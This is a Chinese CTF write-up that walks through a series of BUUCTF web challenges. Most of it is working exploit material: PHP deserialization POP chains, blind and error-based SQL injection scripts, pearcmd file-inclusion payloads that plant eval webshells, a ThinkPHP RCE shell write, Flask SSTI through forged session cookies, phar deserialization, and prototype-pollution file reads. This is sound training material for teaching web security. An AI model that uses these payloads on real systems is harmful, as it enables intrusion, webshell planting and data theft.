:::warning no-icon
做题记录如下
buu1 -> buu2
:::
书接上回
[NewStarCTF 2023 公开赛道]POP Gadget
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 <?php highlight_file (__FILE__ );class Begin { public $name ; public function __destruct ( ) { if (preg_match ("/[a-zA-Z0-9]/" ,$this ->name)){ echo "Hello" ; }else { echo "Welcome to NewStarCTF 2023!" ; } } } class Then { private $func ; public function __toString ( ) { ($this ->func)(); return "Good Job!" ; } } class Handle { protected $obj ; public function __call ($func , $vars ) { $this ->obj->end (); } } class Super { protected $obj ; public function __invoke ( ) { $this ->obj->getStr (); } public function end ( ) { die ("==GAME OVER==" ); } } class CTF { public $handle ; public function end ( ) { unset ($this ->handle->log); } } class WhiteGod { public $func ; public $var ; public function __unset ($var ) { ($this ->func)($this ->var ); } } @unserialize ($_POST ['pop' ]);
pop链很容易构造:
Begin::destruct->Then::toString->Super::invoke->Handle::call->CTF::end->WhiteGod::unset
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 <?php class Begin { public $name ; } class Then { private $func ; public function __construct ($a ) { $this ->func = $a ; } } class Handle { protected $obj ; public function __construct ($a ) { $this ->obj = $a ; } } class Super { protected $obj ; public function __construct ($a ) { $this ->obj = $a ; } } class CTF { public $handle ; public function __construct ($a ) { $this ->handle = $a ; } } class WhiteGod { public $func = 'readfile' ; public $var = '/flag' ; } $a = new Begin ();$a ->name = new Then (new Super (new Handle (new CTF (new WhiteGod ()))));echo (serialize ($a ));echo (urlencode (serialize ($a )));?>
这里暂时不清楚system为什么读取不到flag,也不能执行ls /
[NewStarCTF 2023 公开赛道]midsql 时间盲注,因为order by和布尔注入都不行。
过滤了空格和等号,可以分别用/**/和like绕过,脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 import requestsimport timeurl = 'http://5686ca9d-7929-475e-93b4-f47d88c70ecc.node5.buuoj.cn:81/?id=' flag = '' for i in range (1 ,1000 ): payload = '1/**/and/**/if((ascii(substr((select/**/group_concat(id,name,price)/**/from/**/items),{},1))>{}),sleep(4),1);#' left = 32 right = 127 mid = (left + right) >> 1 while (left < right): str1 = url + payload.format (i,mid) time_start = time.time() res = requests.get(str1) print (str1) if time.time() - time_start > 2 : left = mid + 1 else : right = mid mid = (left + right) >> 1 flag += chr (mid) print (flag)
[NewStarCTF 2023 公开赛道]OtenkiGirl 这题应该是原型链污染,根据提示,我们查看route目录下的info.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 const Router = require ("koa-router" );const router = new Router ();const SQL = require ("./sql" );const sql = new SQL ("wishes" );const CONFIG = require ("../config" )const DEFAULT_CONFIG = require ("../config.default" )async function getInfo (timestamp ) { timestamp = typeof timestamp === "number" ? timestamp : Date .now (); let minTimestamp = new Date (CONFIG .min_public_time || DEFAULT_CONFIG .min_public_time ).getTime (); timestamp = Math .max (timestamp, minTimestamp); const data = await sql.all (`SELECT wishid, date, place, contact, reason, timestamp FROM wishes WHERE timestamp >= ?` , [timestamp]).catch (e => { throw e }); return data; } router.post ("/info/:ts?" , async (ctx) => { if (ctx.header ["content-type" ] !== "application/x-www-form-urlencoded" ) return ctx.body = { status : "error" , msg : "Content-Type must be application/x-www-form-urlencoded" } if (typeof ctx.params .ts === "undefined" ) ctx.params .ts = 0 const timestamp = /^[0-9]+$/ .test (ctx.params .ts || "" ) ? Number (ctx.params .ts ) : ctx.params .ts ; if (typeof timestamp !== "number" ) return ctx.body = { status : "error" , msg : "Invalid parameter ts" } try { const data = await getInfo (timestamp).catch (e => { throw e }); ctx.body = { status : "success" , data : data } } catch (e) { console .error (e); return ctx.body = { status : "error" , msg : "Internal Server Error" } } }) module .exports = router;
有一个对路径名的过滤,不过影响不大,传数字就行了
查看submit.js
1 2 3 4 5 6 7 8 9 10 11 12 const merge = (dst, src ) => { if (typeof dst !== "object" || typeof src !== "object" ) return dst; for (let key in src) { if (key in dst && key in src) { dst[key] = merge (dst[key], src[key]); } else { dst[key] = src[key]; } } return dst; }
发现有merge函数,典型的原型链污染
我们回到info.js,注意到一个重要部分
1 2 3 4 5 6 7 8 9 async function getInfo (timestamp ) { timestamp = typeof timestamp === "number" ? timestamp : Date .now (); let minTimestamp = new Date (CONFIG .min_public_time || DEFAULT_CONFIG .min_public_time ).getTime (); timestamp = Math .max (timestamp, minTimestamp); const data = await sql.all (`SELECT wishid, date, place, contact, reason, timestamp FROM wishes WHERE timestamp >= ?` , [timestamp]).catch (e => { throw e }); return data; }
根据注释,猜测flag在测试的数据中
然后这里获取sql数据的条件是不早于当前时间,因此想要获取数据,就需要把时间调早一点(因为返回的数据都是晚于最小公开时间的)
先找找最小公开时间在哪
追踪一下与config相关的两个文件
1 2 3 4 5 6 7 8 module .exports = { app_name : "OtenkiGirl" , default_lang : "ja" , min_public_time : "2019-07-09" , server_port : 9960 , webpack_dev_port : 9970 }
那我们的时间只要调到2019.07.09之前就行
抓包构造一下
刷新一下界面,发现有远古时期的标签,那就去看一看
直接hackbar随便post一个数据然后访问就行(之前提到有一个路径名过滤,只要传数字就行了)
[NewStarCTF 2023 公开赛道]Include 🍐 根据题目描述是远程文件包含漏洞
先找找环境变量有没有flag
提示我们去查看register_argc_argv
发现相关功能处于On状态,然后再根据标题,猜测是要利用pearcmd.php
进行文件包含
register_argc_argv的简单作用 它可以通过$_SERVER['argv']
获取命令行参数,所以你会看到它现在的数据是这样的
在web环境下,如果想要获取多个参数,则需要用+把不同变量分隔开来(这里我懒得复现了)
pearcmd.php的简单讲述 pear文件中用到了pearcmd.php文件,可以先看看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 public static function readPHPArgv ( ) { global $argv ; if (!is_array ($argv )) { if (!@is_array ($_SERVER ['argv' ])) { if (!@is_array ($GLOBALS ['HTTP_SERVER_VARS' ]['argv' ])) { $msg = "Could not read cmd args (register_argc_argv=Off?)" ; return PEAR::raiseError ("Console_Getopt: " . $msg ); } return $GLOBALS ['HTTP_SERVER_VARS' ]['argv' ]; } return $_SERVER ['argv' ]; } return $argv ; }
$_SERVER['argv']
可控,毕竟我们是要传参数上去的
:::info
pear一般默认安装在/usr/local/lib/php
,不同系统的安装目录可能不同
:::
几个佬对它的详细说明我放在这了:dalao1 ,dalao2
上手!
pear命令中有一个config_create
,根据格式pear config-create [options] <root path> <filename>
可以这样构造:
?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=eval($_POST[1]);?>+/var/www/html/a.php
:::danger no-icon
至于为什么有个/&和&/,我想应该是格式要求的吧
至于为什么能直接用config-create,我想应该是之前说到的register_argc_argv
导致的吧,毕竟是能直接把传入的数据作为参数传递
:::
这样下来构造后,大致意思就是:通过pear命令config-create
,来包含/usr/local/lib/php/pearcmd.cmd
文件,木马写入到a.php
中
(有空再回头来说说为什么这么写)
然后访问a.php传参
:::danger
这里这里一定要用抓包放包的方式去传,而且必须要把被编码的字符给还原回来,不然php文件根本执行不了
:::
[NewStarCTF 2023 公开赛道]InjectMe 点击图片发现可以跳转
查看110.jpg
有个对.
的过滤,由于没有循环检测,因此可以考虑双写绕过
进入download
路由,由于路由是由python写的,猜测源码在app.py
里面
根据给出的dockerfile
,发现源码复制到/app
目录下了
可以构造payload:url/download?file=....//....//....//app/app.py
得到源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 import osimport refrom flask import Flask, render_template, request, abort, send_file, session, render_template_stringfrom config import secret_keyapp = Flask(__name__) app.secret_key = secret_key @app.route('/' ) def hello_world (): return render_template('index.html' ) @app.route("/cancanneed" , methods=["GET" ] ) def cancanneed (): all_filename = os.listdir('./static/img/' ) filename = request.args.get('file' , '' ) if filename: return render_template('img.html' , filename=filename, all_filename=all_filename) else : return f"{str (os.listdir('./static/img/' ))} <br> <a href=\"/cancanneed?file=1.jpg\">/cancanneed?file=1.jpg</a>" @app.route("/download" , methods=["GET" ] ) def download (): filename = request.args.get('file' , '' ) if filename: filename = filename.replace('../' , '' ) filename = os.path.join('static/img/' , filename) print (filename) if (os.path.exists(filename)) and ("start" not in filename): return send_file(filename) else : abort(500 ) else : abort(404 ) @app.route('/backdoor' , methods=["GET" ] ) def backdoor (): try : print (session.get("user" )) if session.get("user" ) is None : session['user' ] = "guest" name = session.get("user" ) if re.findall( r'__|{{|class|base|init|mro|subclasses|builtins|globals|flag|os|system|popen|eval|:|\+|request|cat|tac|base64|nl|hex|\\u|\\x|\.' , name): abort(500 ) else : return render_template_string( '竟然给<h1>%s</h1>你找到了我的后门,你一定是网络安全大赛冠军吧!😝 <br> 那么 现在轮到你了!<br> 最后祝您玩得愉快!😁' % name) except Exception: abort(500 ) @app.errorhandler(404 ) def page_not_find (e ): return render_template('404.html' ), 404 @app.errorhandler(500 ) def internal_server_error (e ): return render_template('500.html' ), 500 if __name__ == '__main__' : app.run('0.0.0.0' , port=8080 )
核心在/backdoor
路由,应该是session传入脚本进行命令执行
这个简单,找到secret_key
然后把命令加密就行
开头看到secret_key
放入了config文件中,下载一下config:download?file=....//....//....//app/config.py
得到secret_key = "y0u_n3ver_k0nw_s3cret_key_1s_newst4r"
由于许多命令被过滤掉了,可以考虑八进制编码绕过
最初的攻击脚本可以这样写:{{x.__init__.__globals__.__getitem__.('__builtins__').__getitem__.('eval')('__import__("os").popen("ls /").read()')}}
攻击脚本分析如下:(gpt写的)
x.__init__.__globals__.__getitem__
:这部分尝试访问 x
对象的 __init__
方法的全局作用域。__init__
是 Python 类的构造函数,而 __globals__
是一个字典,存储了函数的全局变量。
__getitem__('__builtins__')
:通过 __getitem__
方法获取 __builtins__
模块,这是一个包含了 Python 所有内置函数和变量的模块。
__getitem__('eval')
:进一步通过 __getitem__
获取内置的 eval
函数。eval
函数用于执行一个字符串表达的 Python 表达式,并返回表达式的值。
eval('__import__("os").popen("ls /").read()')
:通过 eval
执行字符串中的代码。这段代码首先通过 __import__("os")
导入 os
模块,然后使用 os.popen("ls /")
执行 Unix/Linux 命令 ls /
,该命令列出根目录下的所有文件和文件夹。最后,使用 .read()
方法读取命令的输出结果。
脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 import reimport requestsimport subprocessdef string_to_octal_ascii (s ): octal_ascii = "" for char in s: char_code = ord (char) octal_ascii += "\\\\" + format (char_code, '03o' ) return octal_ascii secret_key = "y0u_n3ver_k0nw_s3cret_key_1s_newst4r" eval_shell = "\"\"" +string_to_octal_ascii("__import__(\"os\").popen(\"cat /*\").read()" )+"\"\"" print (eval_shell)payload = "{{%print(xxx|attr(\"\"\\\\137\\\\137\\\\151\\\\156\\\\151\\\\164\\\\137\\\\137\"\")|attr(\"\"\\\\137\\\\137\\\\147\\\\154\\\\157\\\\142\\\\141\\\\154\\\\163\\\\137\\\\137\"\")|attr(\"\"\\\\137\\\\137\\\\147\\\\145\\\\164\\\\151\\\\164\\\\145\\\\155\\\\137\\\\137\"\")(\"\"\\\\137\\\\137\\\\142\\\\165\\\\151\\\\154\\\\164\\\\151\\\\156\\\\163\\\\137\\\\137\"\")|attr(\"\"\\\\137\\\\137\\\\147\\\\145\\\\164\\\\151\\\\164\\\\145\\\\155\\\\137\\\\137\"\")(\"\"\\\\145\\\\166\\\\141\\\\154\"\")({0}))%}}" .format (eval_shell) print (payload)command = "python flask_session_cookie_manager3.py encode -s \"{0}\" -t \"{{'user':'{1}'}}\"" .format (secret_key,payload) print (command)session_data = subprocess.check_output(command, shell=True ) print (session_data)session_data = session_data[:-2 ].decode('utf-8' ) print (session_data)url = "http://127.0.0.1:8080/backdoor" cookies = {"session" : session_data} res = requests.get(url=url, cookies=cookies) pattern = r'<h1>(.*)</h1>' result_content = re.search(pattern, res.text, re.S) if result_content: result = result_content.group(1 ) print (result) else : print ("something wrong!" )
这里复现失败了,不道为什么
[NewStarCTF 2023 公开赛道]Final
传参使其报错,获取版本号,根据版本号找到payload:_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id
然后变量s传数据captcha
,发包改为POST
方式(system看起来是被ban了,所以看看phpinfo)
能够执行,那就找一下DOCUMENT_ROOT
,它是当前运行的脚本所在的文档根目录的绝对路径,把马写在里面
payload:_method=__construct&filter[]=exec&method=get&server[REQUEST_METHOD]=echo '<?php eval($_POST['cmd']);?>' > /var/www/public/shell.php
这里没有读取到flag,猜测是权限的问题
用蚁剑连接进入终端,执行以下命令即可】
[极客大挑战 2019]HardSQL 这题是报错注入,过滤了空格和=
,=
可以考虑用like绕过,空格可以用^
绕过
当然了,还禁用了其他符号,比如说*
payload如下:
?username=1&password=1'^extractvalue(1%2Cconcat(0x7e%2C(select(database()))))%23
?username=1&password=1'^extractvalue(1%2Cconcat(0x7e%2C(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))))%23
?username=1&password=1'^extractvalue(1%2Cconcat(0x7e%2C(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))))%23
?username=1&password=1'^extractvalue(1%2Cconcat(0x7e%2C(select(password)from(geek.H4rDsq1))))%23
由于flag只显示一部分,说明原文本的长度超过限定长度,可以考虑用left或right函数
?username=1&password=1'^extractvalue(1%2Cconcat(0x7e%2C(select(right(password%2C20))from(geek.H4rDsq1))))%23
[NewStarCTF 2023 公开赛道]Unserialize Again 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 <?php highlight_file (__FILE__ );error_reporting (0 ); class story { private $user ='admin' ; public $pass ; public $eating ; public $God ='false' ; public function __wakeup ( ) { $this ->user='human' ; if (1 ==1 ){ die (); } if (1 !=1 ){ echo $fffflag ; } } public function __construct ( ) { $this ->user='AshenOne' ; $this ->eating='fire' ; die (); } public function __tostring ( ) { return $this ->user.$this ->pass; } public function __invoke ( ) { if ($this ->user=='admin' &&$this ->pass=='admin' ){ echo $nothing ; } } public function __destruct ( ) { if ($this ->God=='true' &&$this ->user=='admin' ){ system ($this ->eating); } else { die ('Get Out!' ); } } } if (isset ($_GET ['pear' ])&&isset ($_GET ['apple' ])){ $pear =$_GET ['pear' ]; $Adam =$_GET ['apple' ]; $file =file_get_contents ('php://input' ); file_put_contents ($pear ,urldecode ($file )); file_exists ($Adam ); } else { echo '多吃雪梨' ; }
这题主要考phar伪协议,由于file_exists()
中的变量可控,我们可以用其配合phar伪协议读取写入的文件来getshell。
phar文件生成 1 2 3 4 5 6 7 8 9 10 11 12 <?php class story { public $eating = 'cat /f*' ; public $God ='true' ; } $phar = new Phar ("1.phar" );$phar ->startBuffering ();$phar ->setStub ("<php __HALT_COMPILER(); ?>" ); $a = new story ();$phar ->setMetadata ($a ); $phar ->addFromString ("test.txt" , "test" );$phar ->stopBuffering ();
这里我们需要运行的是__destruct()
的system
,因此把eating和God改了就好
传马
由于在文件生成过程中内容被修改过(为了绕过__wakeup()
,因此需要更换一个签名,这里用到了sha256)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 from hashlib import sha256import requestsimport urllib.parsewith open ('1.phar' ,'rb' ) as file1: f = file1.read() s = f[:-40 ] s = s.replace(b'O:5:"story":2' ,b'O:5:"story":3' ) h = f[-8 :] newfile = s + sha256(s).digest() + h with open ('new.phar' ,'wb' ) as file2: file2.write(newfile) url = 'http://bd7d412e-1f2f-4257-b51b-8602813e8098.node5.buuoj.cn:81/pairing.php' param = { 'pear' : 'new.phar' , 'apple' : 'phar://new.phar' } with open ('new.phar' ,'rb' ) as file3: f = file3.read() fi = urllib.parse.quote(f) print (fi) res = requests.post(url=url,params=param,data=fi) print (res.text)
[NewStarCTF 2023 公开赛道]逃 这题就是反序列化中的字符逃逸
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php highlight_file (__FILE__ );function waf ($str ) { return str_replace ("bad" ,"good" ,$str ); } class GetFlag { public $key ; public $cmd = "whoami" ; public function __construct ($key ) { $this ->key = $key ; } public function __destruct ( ) { system ($this ->cmd); } } unserialize (waf (serialize (new GetFlag ($_GET ['key' ]))));
根据代码,当有一个bad转换为good时,原字符串就会多一个字符
字符串逃逸原理看看这里
了解完原理后,我们脚本可以这样写:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php class GetFlag { public $key ; public $cmd = "ls /" ; public function __construct ($key ) { $this ->key = $key ; } public function __destruct ( ) { system ($this ->cmd); } } $a = new GetFlag ('badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad' );echo (serialize ($a ));?>
payload为badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:4:"ls /";}
把命令改了拿flag即可
[NewStarCTF 2023 公开赛道]More Fast 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 <?php highlight_file (__FILE__ );class Start { public $errMsg ; public function __destruct ( ) { die ($this ->errMsg); } } class Pwn { public $obj ; public function __invoke ( ) { $this ->obj->evil (); } public function evil ( ) { phpinfo (); } } class Reverse { public $func ; public function __get ($var ) { ($this ->func)(); } } class Web { public $func ; public $var ; public function evil ( ) { if (!preg_match ("/flag/i" ,$this ->var )){ ($this ->func)($this ->var ); }else { echo "Not Flag" ; } } } class Crypto { public $obj ; public function __toString ( ) { $wel = $this ->obj->good; return "NewStar" ; } } class Misc { public function evil ( ) { echo "good job but nothing" ; } } $a = @unserialize ($_POST ['fast' ]);throw new Exception ("Nope" );
分析一下,大致的pop链如下:
Start::__destruct()
-> Crypto::__toString()
-> Reverse::__get()
-> Pwn::__invoke()
-> Web::__evil
不过有个问题,die会使整个函数停止运转,说明我们还需要注意绕过一下
这里的throw涉及到垃圾回收机制(GC回收)
在php中,当对象被销毁时会自动调用__destruct()
,但如果程序报错或者抛出异常,就不会触发该魔术方法。
当一个类创建之后它会自己消失,而 __destruct()
的触发条件就是一个类被销毁时触发,throw回收了自动销毁的类,导致__destruct()
检测不到有东西销毁,从而无法触发__destruct()
。
根据这个特性,我们可以提前触发GC回收来抛出异常,从而调用__destruct()
。
这里可以使数组对象为NULL,这样就能提前触发throw
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 <?php class Start { public $errMsg ; public function __destruct ( ) { die ($this ->errMsg); } } class Pwn { public $obj ; public function __invoke ( ) { $this ->obj->evil (); } public function evil ( ) { phpinfo (); } } class Reverse { public $func ; public function __get ($var ) { ($this ->func)(); } } class Web { public $func ='system' ; public $var ='cat /f*' ; public function evil ( ) { if (!preg_match ("/flag/i" ,$this ->var )){ ($this ->func)($this ->var ); }else { echo "Not Flag" ; } } } class Crypto { public $obj ; public function __toString ( ) { $wel = $this ->obj->good; return "NewStar" ; } } $start = new Start ();$pwn = new Pwn ();$crypto = new Crypto ();$web = new Web ();$reverse = new Reverse ();$start ->errMsg = $crypto ;$crypto ->obj = $reverse ;$reverse ->func = $pwn ;$pwn ->obj = $web ;$a = array ($start ,0 );echo (serialize ($a ));?>
得到a:2:{i:0;O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:7:"cat /f*";}}}}}i:1;i:0;}
后把i:1
改为i:0
,这样就代表数组对象为空,会触发throw,其他就正常执行了
[NewStarCTF 2023 公开赛道]flask disk admin manage
一栏需要我们输入pin码,说明flask开启了debug模式,进而说明app.py在被修改后会立刻加载,我们重新编写一个app.py上传rce即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from flask import Flask,requestimport osapp = Flask(__name__) @app.route('/' ) def index (): try : cmd = request.args.get('cmd' ) data = os.popen(cmd).read() return data except : pass return "1" if __name__=='__main__' : app.run(host='0.0.0.0' ,port=5000 ,debug=True )
[DASCTF 2023 & 0X401七月暑期挑战赛]ez_cms 根据cms的版本和类型,很容易找到对应靶场
看了相关介绍,发现cms存在越权漏洞以及sql注入(其实弱密码也有)
访问/admin
登录
之前在登陆的时候试了试文件包含,但是没有反应,推测是有过滤或者修改了文件权限什么的?
尝试下载index.php
得到:
1 2 3 4 5 6 7 <?php error_reporting (0 ); $file =addslashes ($_GET ['r' ]); $action =$file =='' ?'index' :$file ; include ('files/' .$action .'.php' ); ?>
果然存在文件包含,但是猜测flag并不会写在php文件里,有可能在环境变量或者根目录里什么的,先不大费周章地搞这个
看看能不能下载环境变量的内容
发现并不行,感觉像是有权限或者改名称或者换目录?
在之前的后台系统中,我们发现了一个上传文件的点,看看能不能传:horse:
似乎是不可行的(这里我是抓包改名称后才传的:horse:,系统对文件后缀名有检查)
那就只有文件包含了,这里用pear(怎么最近做题只要有文件包含就有pear)
之前说过,pearcmd.php
默认安装在/usr/local/lib/php
payload就可以很好地进行构造了:../../../../usr/share/php/pearcmd&/<?=eval($_POST['cmd']);?>+/tmp/shell.php
(注意代码中include是自动加了后缀php的)
然后就可以rce了
[DASCTF 2023 & 0X401七月暑期挑战赛]EzFlask 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 import uuidfrom flask import Flask, request, sessionfrom secret import black_listimport jsonapp = Flask(__name__) app.secret_key = str (uuid.uuid4()) def check (data ): for i in black_list: if i in data: return False return True def merge (src, dst ): for k, v in src.items(): if hasattr (dst, '__getitem__' ): if dst.get(k) and type (v) == dict : merge(v, dst.get(k)) else : dst[k] = v elif hasattr (dst, k) and type (v) == dict : merge(v, getattr (dst, k)) else : setattr (dst, k, v) class user (): def __init__ (self ): self .username = "" self .password = "" pass def check (self, data ): if self .username == data['username' ] and self .password == data['password' ]: return True return False Users = [] @app.route('/register' ,methods=['POST' ] ) def register (): if request.data: try : if not check(request.data): return "Register Failed" data = json.loads(request.data) if "username" not in data or "password" not in data: return "Register Failed" User = user() merge(data, User) Users.append(User) except Exception: return "Register Failed" return "Register Success" else : return "Register Failed" @app.route('/login' ,methods=['POST' ] ) def login (): if request.data: try : data = json.loads(request.data) if "username" not in data or "password" not in data: return "Login Failed" for user in Users: if user.check(data): session["username" ] = data["username" ] return "Login Success" except Exception: return "Login Failed" return "Login Failed" @app.route('/' ,methods=['GET' ] ) def index (): return open (__file__, "r" ).read() if __name__ == "__main__" : app.run(host="0.0.0.0" , port=5010 )
很明显的一个原型链污染
在这里,open(__file__, "r").read()
是直接返回服务器代码的,我们可以修改__file__
来造成任意文件的读取
这里读取环境变量来构造payload:
1 2 3 4 5 6 7 8 9 10 11 { "username":"user", "password":"pass", "__class__":{ "check":{ "__globals__":{ "__file__":"proc/1/environ" } } } }